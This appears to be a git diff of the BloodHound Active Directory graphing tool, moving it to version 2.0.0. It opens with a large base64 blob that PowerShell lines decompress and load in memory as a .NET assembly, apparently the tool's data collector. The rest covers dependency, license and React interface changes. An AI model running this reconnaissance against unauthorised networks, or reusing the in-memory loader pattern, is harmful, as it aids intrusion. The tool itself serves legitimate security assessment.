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'
 	$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
-	$UncompressedFileBytes = New-Object Byte[](578560)
-	$DeflatedStream.Read($UncompressedFileBytes, 0, 578560) | Out-Null
+	$UncompressedFileBytes = New-Object Byte[](742912)
+	$DeflatedStream.Read($UncompressedFileBytes, 0, 742912) | Out-Null
 	$Assembly = [Reflection.Assembly]::Load($UncompressedFileBytes)
 	$BindingFlags = [Reflection.BindingFlags] "Public,Static"
 	$a = @()
diff --git a/LICENSE-3RD-PARTY.md b/LICENSE-3RD-PARTY.md
index c7670e8..a2c8e6e 100644
--- a/LICENSE-3RD-PARTY.md
+++ b/LICENSE-3RD-PARTY.md
@@ -85,4 +85,41 @@ jQuery-UI
   All files located in the node_modules and external directories are
   externally maintained libraries used by this software which have their
   own licenses; we recommend you read them, as their terms may differ from
-  the terms above.
\ No newline at end of file
+  the terms above.
+
+
+  stream-json
+  This library is available under the terms of the modified BSD license. No external contributions
+are allowed under licenses which are fundamentally incompatible with the BSD license that this library is distributed under.
+
+The text of the BSD license is reproduced below.
+
+-------------------------------------------------------------------------------
+The "New" BSD License:
+**********************
+
+Copyright (c) 2005-2018, Eugene Lazutkin
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+  * Redistributions of source code must retain the above copyright notice, this
+    list of conditions and the following disclaimer.
+  * Redistributions in binary form must reproduce the above copyright notice,
+    this list of conditions and the following disclaimer in the documentation
+    and/or other materials provided with the distribution.
+  * Neither the name of Eugene Lazutkin nor the names of other contributors
+    may be used to endorse or promote products derived from this software
+    without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
\ No newline at end of file
diff --git a/index.html b/index.html
index 1608292..f34562a 100644
--- a/index.html
+++ b/index.html
@@ -2,7 +2,7 @@
 <html>
   <head>
     <meta charset="UTF-8">
-    <link type="text/css" rel="stylesheet" href="src/css/font-awesome.min.css">
+    <link type="text/css" rel="stylesheet" href="node_modules/@fortawesome/fontawesome-free/css/all.min.css">
     <link type="text/css" rel="stylesheet" href="node_modules/bootstrap/dist/css/bootstrap.min.css">
     <link type="text/css" rel="stylesheet" href="node_modules/bootstrap/dist/css/bootstrap-theme.min.css">
     <link type="text/css" rel="stylesheet" href="src/css/styles.css">
diff --git a/main.js b/main.js
index f658eea..7f10eea 100644
--- a/main.js
+++ b/main.js
@@ -2,7 +2,6 @@ const electron = require('electron')
 var platform = require('os').platform()
 // Module to control application life.
 const app = electron.app
-const Tray = electron.Tray
 const Menu = electron.Menu
 
 // Module to create native browser window.
diff --git a/package.json b/package.json
index 43fe771..df5d32e 100644
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
 {
   "name": "bloodhound",
-  "version": "1.5.2",
+  "version": "2.0.0",
   "description": "Graph Theory for Active Directory",
   "keywords": [
     "Graph",
@@ -50,22 +50,32 @@
     "webpack-hot-middleware": "^2.21.0"
   },
   "dependencies": {
+    "@fortawesome/fontawesome-free": "^5.1.1",
     "async": "^2.6.0",
     "bootstrap": "^3.3.7",
     "bootstrap-3-typeahead": "^4.0.2",
     "dagre": "^0.7.4",
     "electron-store": "^1.3.0",
     "eventemitter2": "^4.1.0",
-    "fast-csv": "^2.4.1",
+    "fontfaceobserver": "^2.0.13",
+    "image-size": "^0.6.3",
+    "image-type": "^3.0.0",
+    "is-zip-file": "^1.0.2",
     "jquery": "^3.2.1",
     "linkurious": "^1.5.1",
+    "md5-file": "^4.0.0",
     "mustache": "^2.3.0",
-    "neo4j-driver": "^1.5.2",
-    "react": "^16.2.0",
+    "neo4j-driver": "^1.6.2",
+    "prop-types": "^15.6.2",
+    "react": "^16.4.2",
     "react-bootstrap": "^0.32.0",
-    "react-dom": "^16.2.0",
+    "react-dom": "^16.4.2",
     "react-if": "^2.1.0",
+    "react-images": "^0.5.19",
+    "react-photo-gallery": "^6.1.2",
     "react-transition-group": "^2.2.1",
-    "unzipper": "^0.8.9"
+    "stream-json": "^1.1.0",
+    "unzipper": "^0.8.9",
+    "uuid": "^3.3.2"
   }
 }
diff --git a/src/AppContainer.jsx b/src/AppContainer.jsx
index 2dff409..3693579 100644
--- a/src/AppContainer.jsx
+++ b/src/AppContainer.jsx
@@ -1,31 +1,53 @@
-import React, { Component } from 'react';
-import GraphContainer from './components/Graph';
-import SearchContainer from './components/SearchContainer/SearchContainer';
-import SpotlightContainer from './components/Spotlight/SpotlightContainer';
-import LogoutModal from './components/Modals/LogoutModal';
-import CancelUploadModal from './components/Modals/CancelUploadModal';
-import ClearWarnModal from './components/Modals/ClearWarnModal'
-import ClearConfirmModal from './components/Modals/ClearConfirmModal'
-import ClearingModal from './components/Modals/ClearingModal'
-import LoadingContainer from './components/Float/LoadingContainer';
-import GenericAlert from './components/Float/Alert';
-import RawQuery from './components/RawQuery';
-import MenuContainer from './components/Menu/MenuContainer';
-import ExportContainer from './components/Float/ExportContainer';
-import Settings from './components/Float/Settings'
-import ZoomContainer from './components/Zoom/ZoomContainer'
-import QueryNodeSelect from './components/Float/QueryNodeSelect'
-import SessionClearModal from './components/Modals/SessionClearModal'
-import About from './components/Modals/About.jsx'
-import { CSSTransition, TransitionGroup } from 'react-transition-group';
+import React, { Component } from "react";
+import GraphContainer from "./components/Graph";
+import SearchContainer from "./components/SearchContainer/SearchContainer";
+import SpotlightContainer from "./components/Spotlight/SpotlightContainer";
+import LogoutModal from "./components/Modals/LogoutModal";
+import DeleteEdgeModal from "./components/Modals/DeleteEdgeModal";
+import DeleteNodeModal from "./components/Modals/DeleteNodeModal";
+import AddNodeModal from "./components/Modals/AddNodeModal";
+import AddEdgeModal from "./components/Modals/AddEdgeModal";
+import CancelUploadModal from "./components/Modals/CancelUploadModal";
+import ClearWarnModal from "./components/Modals/ClearWarnModal";
+import ClearConfirmModal from "./components/Modals/ClearConfirmModal";
+import ClearingModal from "./components/Modals/ClearingModal";
+import LoadingContainer from "./components/Float/LoadingContainer";
+import GenericAlert from "./components/Float/Alert";
+import RawQuery from "./components/RawQuery";
+import MenuContainer from "./components/Menu/MenuContainer";
+import ExportContainer from "./components/Float/ExportContainer";
+import Settings from "./components/Float/Settings";
+import ZoomContainer from "./components/Zoom/ZoomContainer";
+import QueryNodeSelect from "./components/Float/QueryNodeSelect";
+import SessionClearModal from "./components/Modals/SessionClearModal";
+import About from "./components/Modals/About.jsx";
+import HelpModal from "./components/Modals/HelpModal.jsx";
+import NodeEditor from "./components/Float/NodeEditor";
+import { CSSTransition, TransitionGroup } from "react-transition-group";
 
 export default class AppContainer extends Component {
+    componentDidMount(){
+        document.addEventListener('dragover', function(event){
+            event.preventDefault();
+            return false;
+        }, false)
+        
+        document.addEventListener('drop', function(event){
+            event.preventDefault();
+            if (jQuery("#tabcontainer").has(jQuery(event.target)).length === 1){
+                emitter.emit("imageupload", event)
+            }else{
+                emitter.emit("filedrop", event)
+            }
+            
+            return false;
+        }, false)
+    }
+
     render() {
         return (
-             <TransitionGroup className="max">
-                 <CSSTransition classNames="mainfade" 
-                     appear 
-                     timeout={1000}>
+            <TransitionGroup className="max">
+                <CSSTransition classNames="mainfade" appear timeout={1000}>
                     <div className="max">
                         <GenericAlert />
                         <ExportContainer />
@@ -34,6 +56,10 @@ export default class AppContainer extends Component {
                         <GraphContainer />
                         <SearchContainer />
                         <LogoutModal />
+                        <DeleteEdgeModal />
+                        <DeleteNodeModal />
+                        <AddNodeModal />
+                        <AddEdgeModal />
                         <ClearWarnModal />
                         <ClearConfirmModal />
                         <ClearingModal />
@@ -45,9 +71,11 @@ export default class AppContainer extends Component {
                         <ZoomContainer />
                         <QueryNodeSelect />
                         <About />
+                        <NodeEditor />
+                        <HelpModal />
                     </div>
                 </CSSTransition>
             </TransitionGroup>
         );
-    };
-}
\ No newline at end of file
+    }
+}
diff --git a/src/components/Float/Alert.jsx b/src/components/Float/Alert.jsx
index a2856ff..b2dd67b 100644
--- a/src/components/Float/Alert.jsx
+++ b/src/components/Float/Alert.jsx
@@ -1,8 +1,9 @@
-import React, { Component } from 'react';
-import { Alert } from 'react-bootstrap';
+import React, { Component } from "react";
+import { Alert } from "react-bootstrap";
+
 
 export default class GenericAlert extends Component {
-    constructor(){
+    constructor() {
         super();
         this.state = {
             visible: false,
@@ -10,38 +11,43 @@ export default class GenericAlert extends Component {
             timeout: null
         };
 
-        emitter.on('showAlert', this._show.bind(this));
-        emitter.on('hideAlert', this._dismiss.bind(this));
+        emitter.on("showAlert", this._show.bind(this));
+        emitter.on("hideAlert", this._dismiss.bind(this));
     }
 
-    _dismiss(){
-        this.setState({visible: false});
+    _dismiss() {
+        this.setState({ visible: false });
     }
 
-    _show(val){
+    _show(val) {
         clearTimeout(this.state.timeout);
-        var t = setTimeout(function(){
-            this._dismiss();
-        }.bind(this), 2500);
-        
+        var t = setTimeout(
+            _ => {
+                this._dismiss();
+            },
+            2500
+        );
+
         this.setState({
             visible: true,
